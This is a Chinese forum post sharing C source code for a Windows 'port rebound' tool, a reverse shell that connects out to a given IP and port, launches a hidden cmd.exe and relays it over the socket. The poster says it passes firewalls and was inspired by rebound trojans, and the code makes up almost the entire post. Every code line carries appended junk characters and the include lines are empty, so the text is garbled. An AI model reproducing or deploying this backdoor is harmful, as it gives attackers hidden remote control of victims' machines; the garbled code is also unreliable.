社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4286阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 94h_t@Q/1  
D*XZT{1g  
/* ============================== 0[2BY]`Z.  
Rebound port in Windows NT :?$Sb8OuIL  
By wind,2006/7 N o_$!)J.  
===============================*/ 38w.sceaT  
#include da9*9yN  
#include w;yiX<t<  
o%/-5-  
#pragma comment(lib,"wsock32.lib") 5D]30  
~}7$uW0ol  
void OutputShell(); +(=0CA0GE  
SOCKET sClient; a+YR5*&[OO  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q{.{#G  
&O+sK4 P  
void main(int argc,char **argv) F=-uDtQ <N  
{ 6Q.{llO  
WSADATA stWsaData; H)`CncB  
int nRet; b(.-~c('  
SOCKADDR_IN stSaiClient,stSaiServer; Q SHx]*)  
( Lok  
if(argc != 3) ]k ::J>84  
{ DD12pL{QA  
printf("Useage:\n\rRebound DestIP DestPort\n"); 97qtJ(ESI  
return; p4m^ ~e  
} ^eT DD  
i ll-%OPeg  
WSAStartup(MAKEWORD(2,2),&stWsaData); c N02roQl  
NCowt|#t  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N_u&3CG  
 YBYBOH  
stSaiClient.sin_family = AF_INET; w?]ZU-  
stSaiClient.sin_port = htons(0); sBP}n.#$  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); |eH wp  
.-SDo"K.h  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ~q0I7M  
{ j3*M!fM9  
printf("Bind Socket Failed!\n"); 1fz*S IjG  
return;  ${A5-  
} ioB|*D<U2  
 /6+1{p  
stSaiServer.sin_family = AF_INET; W4)kkJ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Vk MinE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); P'a0CE%  
9 9Ba{qj  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ;j>*;Q`  
{ AddGB^7yl  
printf("Connect Error!"); hnp`s%e,  
return; j2RRSz&9  
} C>*5=p|T  
OutputShell(); K^"w]ii=  
} S304ncS|M  
5;X {.2  
void OutputShell() _LJ5o_-N  
{ `d75@0:  
char szBuff[1024]; z7-`Y9Ypd  
SECURITY_ATTRIBUTES stSecurityAttributes; :|Z$3q  
OSVERSIONINFO stOsversionInfo; 54<6Dy f  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ;*y|8od B  
STARTUPINFO stStartupInfo; "e~k-\^Y  
char *szShell; "Kyifw?  
PROCESS_INFORMATION stProcessInformation; Nc{]zWL9  
unsigned long lBytesRead; HbNYP/MN3  
q.-y)C) ;  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); NA+&jV  
3>i>@n_  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ej' 7h~=v  
stSecurityAttributes.lpSecurityDescriptor = 0; BR;QY1  
stSecurityAttributes.bInheritHandle = TRUE;  OQ6sv/  
:bwM]k*$  
c\M#5+1j  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N6h1|_o  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); bFSlf5*H  
;P3>>DZ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0Qm"n6NQ  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QjLji +L  
stStartupInfo.wShowWindow = SW_HIDE; O:1DOUYXs  
stStartupInfo.hStdInput = hReadPipe; v51EXf  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DR6]-j!FK  
oAY_sg+  
GetVersionEx(&stOsversionInfo); rnu e(t  
Raefj(^V  
switch(stOsversionInfo.dwPlatformId) X:Q$gO?[4  
{ a'uU,Eb}#w  
case 1: }'lNi^"XL  
szShell = "command.com"; B s,as  
break; +jtA&1cf  
default: CN/IH   
szShell = "cmd.exe"; f/ajejYo?,  
break; H>?F8R_iq  
} _9NVE|c;  
a\pi(9R  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ]M3# 3Ha"  
"x&3Z@q7  
send(sClient,szMsg,77,0); XvskB[\  
while(1) !qA8Zky_  
{ IZ8y}2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); snYr9O[E6  
if(lBytesRead) Zm(dY*z5:J  
{ RZO5=L9E  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '&by3y5w-3  
send(sClient,szBuff,lBytesRead,0); H?uukmZl  
} /s c.C  
else 5j eO"jB  
{ [;KmT{I9  
lBytesRead=recv(sClient,szBuff,1024,0); $ [7 Vgs  
if(lBytesRead<=0) break; NP/>H9Q2%  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); B8m_'!;;  
} Sdd9Dv?!  
} XoR>H4xh  
sG,+  
return; mJC3@V s  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八